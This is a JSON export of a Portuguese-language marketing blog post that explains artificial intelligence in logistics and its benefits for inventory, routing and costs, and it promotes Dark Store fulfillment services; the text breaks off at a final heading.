{"id":39095,"date":"2023-07-12T08:00:07","date_gmt":"2023-07-12T11:00:07","guid":{"rendered":"https:\/\/www.grinstore.com.br\/blog\/?p=39095"},"modified":"2026-01-18T13:38:51","modified_gmt":"2026-01-18T16:38:51","slug":"inteligencia-artificial-na-logistica","status":"publish","type":"post","link":"https:\/\/www.grinstore.com.br\/blog\/inteligencia-artificial-na-logistica\/","title":{"rendered":"Intelig\u00eancia artificial na log\u00edstica: o que \u00e9, como funciona, a import\u00e2ncia e quais s\u00e3o os benef\u00edcios?"},"content":{"rendered":"[vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][divider line_type=&#8221;Full Width Line&#8221; line_thickness=&#8221;1&#8243; divider_color=&#8221;accent-color&#8221;][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; advanced_gradient_angle=&#8221;0&#8243; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; gradient_type=&#8221;default&#8221;][vc_column_text]<span style=\"font-weight: 400;\">O cen\u00e1rio tecnol\u00f3gico da Log\u00edstica 4.0 criou novas demandas para as empresas alcan\u00e7arem o sucesso, entre elas a <\/span><b>adequa\u00e7\u00e3o de uma nova realidade com automatiza\u00e7\u00e3o de processos, centraliza\u00e7\u00e3o de dados e utiliza\u00e7\u00e3o de intelig\u00eancia artificial na log\u00edstica<\/b><span style=\"font-weight: 400;\">.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Por ser uma mudan\u00e7a com grande impacto e ader\u00eancia, a implementa\u00e7\u00e3o das transforma\u00e7\u00f5es digitais na log\u00edstica est\u00e3o se popularizando, resultando no barateamento das ferramentas tecnol\u00f3gicas e maior acessibilidade \u00e0s empresas de diferentes portes, das maiores at\u00e9 as m\u00e9dias e pequenas.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Para evitar o risco de um eventual impacto negativo, <\/span><b>as empresas precisam se atualizar e saber como utilizar estas ferramentas eficientemente<\/b><span style=\"font-weight: 400;\">. Ent\u00e3o, confira a seguir o que \u00e9 a intelig\u00eancia artificial, como ela funciona na log\u00edstica, os resultados para as empresas adeptas, como esse investimento \u00e9 importante para o seu neg\u00f3cio e como uma <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/o-que-e-dark-store\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Dark Store <\/span><\/a><span style=\"font-weight: 400;\">pode ser uma solu\u00e7\u00e3o para o seu empreendimento.\u00a0<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">Entenda mais sobre a intelig\u00eancia artificial na log\u00edstica:<\/span><\/h3>\n[\/vc_column_text][vc_column_text]\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><a href=\"#inteligencia-artificial\"><span style=\"font-weight: 400;\">O que \u00e9 intelig\u00eancia artificial?<\/span><\/a><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><a href=\"#inteligencia-artificial-logistica\"><span style=\"font-weight: 400;\">Como a intelig\u00eancia artificial funciona na log\u00edstica?<\/span><\/a><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><a href=\"#importancia-inteligencia-artificial\"><span style=\"font-weight: 400;\">A import\u00e2ncia de usar a intelig\u00eancia artificial na log\u00edstica<\/span><\/a><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><a href=\"#vantagens-inteligencia-artificial\"><span style=\"font-weight: 400;\">As vantagens da intelig\u00eancia artificial na log\u00edstica<\/span><\/a><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><a href=\"#duvidas-frequentes\"><span style=\"font-weight: 400;\">D\u00favidas frequentes<\/span><\/a><\/li>\n<\/ul>\n[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;inteligencia-artificial&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\" data-darkreader-inline-color=\"\">O que \u00e9 intelig\u00eancia artificial? <\/span><\/h2>\n<p><span style=\"font-weight: 400;\">A intelig\u00eancia artificial (IA) \u00e9 uma tecnologia <\/span><b>capaz de ler, armazenar e interpretar dados<\/b><span style=\"font-weight: 400;\">. Ela tamb\u00e9m consegue <\/span><b>simular a capacidade de aprendizado e racioc\u00ednio<\/b><span style=\"font-weight: 400;\">, estando apta a <\/span><b>executar a\u00e7\u00f5es automaticamente e tomar decis\u00f5es inteligentes<\/b><span style=\"font-weight: 400;\"> baseadas em dados.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Como a ferramenta consegue centralizar e armazenar informa\u00e7\u00f5es, quanto mais informa\u00e7\u00f5es dispon\u00edveis no banco de dados sobre os processos, mais assertiva e eficiente ser\u00e1 a IA.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][image_with_animation image_url=&#8221;39103&#8243; image_size=&#8221;full&#8221; animation_type=&#8221;entrance&#8221; animation=&#8221;Fade In&#8221; hover_animation=&#8221;none&#8221; alignment=&#8221;&#8221; border_radius=&#8221;none&#8221; box_shadow=&#8221;none&#8221; image_loading=&#8221;default&#8221; max_width=&#8221;100%&#8221; max_width_mobile=&#8221;default&#8221;][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;inteligencia-artificial-logistica&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\" data-darkreader-inline-color=\"\">Como a intelig\u00eancia artificial funciona na log\u00edstica?<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">A utiliza\u00e7\u00e3o de intelig\u00eancia artificial na <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/conceito-logistica-4-0\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Log\u00edstica 4.0<\/span><\/a><span style=\"font-weight: 400;\"> acontece junto a outras tecnologias, como o <\/span><i><span style=\"font-weight: 400;\">Machine Learning<\/span><\/i><span style=\"font-weight: 400;\"> (aprendizado das m\u00e1quinas em portugu\u00eas), <\/span><i><span style=\"font-weight: 400;\">Big Data<\/span><\/i><span style=\"font-weight: 400;\"> (grande conjunto de dados em portugu\u00eas) e <\/span><i><span style=\"font-weight: 400;\">Internet of Things<\/span><\/i><span style=\"font-weight: 400;\"> (internet das coisas em portugu\u00eas).\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Com isso, <\/span><b>a intelig\u00eancia artificial funciona para<\/b><span style=\"font-weight: 400;\">:\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Automatizar os processos repetitivos e burocr\u00e1ticos;<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Coletar e analisar m\u00e9tricas e resultados de indicadores de desempenho (KPIs) sobre os processos;<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Integrar sistemas;<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Garantir a gest\u00e3o inteligente e a assertividade das etapas;<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Reduzir custos;<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Agilizar processos;<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Monitorar a localiza\u00e7\u00e3o dos produtos em tempo real.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Como isso afeta a qualidade do servi\u00e7o, a satisfa\u00e7\u00e3o dos clientes e a percep\u00e7\u00e3o da marca no mercado, fatores com influ\u00eancia no sucesso do empreendimento, a utiliza\u00e7\u00e3o da IA na log\u00edstica demonstra ser muito importante para as empresas.\u00a0<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;importancia-inteligencia-artificial&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\" data-darkreader-inline-color=\"\">A import\u00e2ncia de usar a intelig\u00eancia artificial na log\u00edstica<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">A atua\u00e7\u00e3o da intelig\u00eancia artificial se tornou uma <\/span><b>tend\u00eancia na ind\u00fastria por ser fundamental para aumentar a efici\u00eancia e a melhoraria cont\u00ednua dos processos<\/b><span style=\"font-weight: 400;\"> ao oferecer melhores solu\u00e7\u00f5es e planejamentos para a gest\u00e3o de: estoque, rotas, transportes, recursos e equipe.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Com a implementa\u00e7\u00e3o da intelig\u00eancia artificial, os processos s\u00e3o automatizados e abre espa\u00e7o para entender onde est\u00e3o os problemas log\u00edsticos e reformula\u00e7\u00e3o do plano de a\u00e7\u00e3o em busca de efici\u00eancia e precis\u00e3o. Ent\u00e3o, a partir da redefini\u00e7\u00e3o de prioridades e implementa\u00e7\u00e3o de medidas corretivas para melhorar a <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/o-que-e-supply-chain\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Supply Chain<\/span><\/a><span style=\"font-weight: 400;\"> (cadeia de suprimentos), h\u00e1 maior <\/span><b>organiza\u00e7\u00e3o, controle e agilidade sobre os processos<\/b><span style=\"font-weight: 400;\">.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Al\u00e9m disso, com a coleta de dados feitas diariamente nos diversos programas, softwares e aplicativos tecnol\u00f3gicos, a IA tem informa\u00e7\u00f5es atualizadas e em abund\u00e2ncia no banco de dados dela para serem analisados.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Um exemplo da atua\u00e7\u00e3o da intelig\u00eancia artificial na log\u00edstica pode ser percebido a partir de uma solicita\u00e7\u00e3o de devolu\u00e7\u00e3o por avaria. Ap\u00f3s o pedido de troca ou devolu\u00e7\u00e3o estar no sistema, a AI computa a necessidade de <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/o-que-e-logistica-reversa\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">log\u00edstica reversa<\/span><\/a><span style=\"font-weight: 400;\">, altera a rota de um motorista que j\u00e1 est\u00e1 em rota de entrega para incluir esta coleta, e, ao mesmo tempo, resolve as quest\u00f5es burocr\u00e1ticas.<\/span><\/p>\n<p><b>Leia mais: <\/b><a href=\"https:\/\/www.grinstore.com.br\/blog\/o-que-e-roteirizacao-de-entrega\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Roteiriza\u00e7\u00e3o de entrega: o que \u00e9 e qual a import\u00e2ncia para o seu neg\u00f3cio?<\/span><\/a>[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;vantagens-inteligencia-artificial&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\" data-darkreader-inline-color=\"\">As vantagens da intelig\u00eancia artificial na log\u00edstica <\/span><\/h2>\n<p><span style=\"font-weight: 400;\">As tarefas manuais parecem simples, mas quando s\u00e3o muitas e em larga escala, h\u00e1 grande chance de erros humanos acontecerem. Al\u00e9m disso, dependendo do tamanho da equipe, \u00e9 invi\u00e1vel monitorar os produtos e fazer a atualiza\u00e7\u00e3o de informa\u00e7\u00f5es em tempo real. Ent\u00e3o, quando comparado a realidade de processos com a utiliza\u00e7\u00e3o de IA, os cen\u00e1rios s\u00e3o bastante divergentes.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Usar intelig\u00eancia artificial na log\u00edstica resulta em diversas <\/span><b>vantagens relacionadas a otimiza\u00e7\u00f5es da gest\u00e3o de armazenagem, frotas e rotas<\/b><span style=\"font-weight: 400;\">. Isto refletem na melhora significativa da qualidade do servi\u00e7o prestado e redu\u00e7\u00e3o de custos, ent\u00e3o, por consequ\u00eancia, contribuem para o crescimento r\u00e1pido do neg\u00f3cio.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Entenda como funciona a rela\u00e7\u00e3o entre a utiliza\u00e7\u00e3o da intelig\u00eancia artificial nas etapas log\u00edstica e as vantagens disso.<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">Controle de estoque\u00a0<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">O controle inteligente do estoque atua durante o <\/span><b>armazenamento <\/b><span style=\"font-weight: 400;\">(organiza\u00e7\u00e3o dos produtos no armaz\u00e9m), <\/span><b>controle da entrada e sa\u00edda de produtos<\/b><span style=\"font-weight: 400;\"> do estoque em casos de log\u00edstica reversa e na <\/span><b>an\u00e1lise de padr\u00f5es para prever a demanda<\/b><span style=\"font-weight: 400;\"> pelo produto em diferentes per\u00edodos. Neste \u00faltimo caso a IA est\u00e1 atuando como preventiva visando garantir os n\u00edveis adequados de produtos em estoque, evitando a falta ou excesso.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Uma das ferramentas utilizadas para ajudar na gest\u00e3o de estoque \u00e9 o <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/wms-significado\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">WMS<\/span><\/a><span style=\"font-weight: 400;\"> (Sistema de Gerenciamento de Armaz\u00e9m em portugu\u00eas).\u00a0<\/span><\/p>\n<p><b>Leia mais: <\/b><a href=\"https:\/\/www.grinstore.com.br\/blog\/gerenciamento-estoque-menor-custo\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Gerenciamento de estoque: como reduzir o custo com uma Dark Store<\/span><\/a><\/p>\n<h3><span style=\"font-weight: 400;\">Maior efici\u00eancia\u00a0<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Com a diminui\u00e7\u00e3o ou elimina\u00e7\u00e3o da atua\u00e7\u00e3o humana \u00e9 poss\u00edvel padronizar a opera\u00e7\u00e3o, agilizar burocracias e aplicar sistemas de monitoramento e corre\u00e7\u00e3o de erros visando a <\/span><b>melhoria cont\u00ednua dos processos<\/b><span style=\"font-weight: 400;\">. Com isso, a sua equipe trabalhar\u00e1 com mais efici\u00eancia e possibilitar\u00e1 entregas mais \u00e1geis em prazos mais curtos.\u00a0\u00a0<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">Diminui\u00e7\u00e3o de erros e custos operacionais<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Devido \u00e0 automatiza\u00e7\u00e3o, as tarefas s\u00e3o realizadas em menor tempo e os processos s\u00e3o mais assertivos e eficientes. Com isso, a produtividade aumenta e os custos diminuem pela melhor gest\u00e3o de recursos, como combust\u00edvel. Logo, a <\/span><b>margem de lucro aumenta<\/b><span style=\"font-weight: 400;\">.\u00a0<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">Servi\u00e7o de qualidade e a experi\u00eancia do cliente\u00a0<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Com a otimiza\u00e7\u00e3o, agilidade e assertividade dos processos, \u00e9 poss\u00edvel oferecer menores prazos de entrega\/entregas r\u00e1pidas sem erros ou defeitos e pre\u00e7os mais atrativos. Com isso, a satisfa\u00e7\u00e3o dos clientes aumenta e mais deles viram <\/span><b>clientes fieis da sua marca<\/b><span style=\"font-weight: 400;\">.\u00a0<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">Credibilidade e diferencia\u00e7\u00e3o<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">\u00c9 importante se destacar e ter diferenciais competitivos neste cen\u00e1rio atual. Ent\u00e3o, com a boa reputa\u00e7\u00e3o com os clientes, \u00e9 <\/span><b>agregado valor \u00e0 imagem<\/b><span style=\"font-weight: 400;\"> do empreendimento.\u00a0<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">Melhor tomada de decis\u00e3o e an\u00e1lises preditivas<\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Em processos manuais \u00e9 f\u00e1cil acontecerem erros, principalmente pela abund\u00e2ncia de informa\u00e7\u00f5es a serem consideradas diariamente. O problema \u00e9 que erros, ainda mais em situa\u00e7\u00f5es recorrentes, custam caro. Com a intelig\u00eancia artificial os erros diminuem, afinal, os dados s\u00e3o coletados ao longo do tempo e ficam centralizados em um software.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Ent\u00e3o, para a <\/span><b>tomada de decis\u00e3o em tempo real ou para antecipar situa\u00e7\u00f5es<\/b><span style=\"font-weight: 400;\">, como a reposi\u00e7\u00e3o de estoque, manuten\u00e7\u00e3o de ve\u00edculos, estimativa de tempo de entrega, entre outros. Assim, a AI analisar\u00e1 estas informa\u00e7\u00f5es nos bancos de dados e ainda poder\u00e1 cruz\u00e1-las com outros dados.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Por envolver tecnologia \u00e9 comum o pensamento de que ser\u00e1 necess\u00e1rio um alto investimento financeiro, entretanto, isso n\u00e3o \u00e9 necessariamente verdade.\u00a0<\/span><\/p>\n<p><b>Uma solu\u00e7\u00e3o mais em conta para ter os benef\u00edcios oferecidos pela intelig\u00eancia artificial \u00e9 a contrata\u00e7\u00e3o de Dark Stores<\/b><span style=\"font-weight: 400;\">. Estes mini centros de distribui\u00e7\u00e3o <\/span><a href=\"https:\/\/www.grinstore.com.br\/blog\/o-que-e-fulfillment\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">fulfillment <\/span><\/a><span style=\"font-weight: 400;\">s\u00e3o uma alternativa para diversos problemas log\u00edsticos e um dos motivos disso \u00e9 pela utiliza\u00e7\u00e3o da tecnologia. Ent\u00e3o, s\u00e3o uma estrat\u00e9gia atraente para empresas de pequeno ou m\u00e9dio porte delegarem o processo log\u00edstico, ou para empresas de grande porte complementarem a distribui\u00e7\u00e3o.\u00a0<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\" data-darkreader-inline-color=\"\">A sua empresa est\u00e1 tirando o melhor aproveito do uso da intelig\u00eancia artificial na log\u00edstica? <\/span><\/h2>\n<p><span style=\"font-weight: 400;\">A 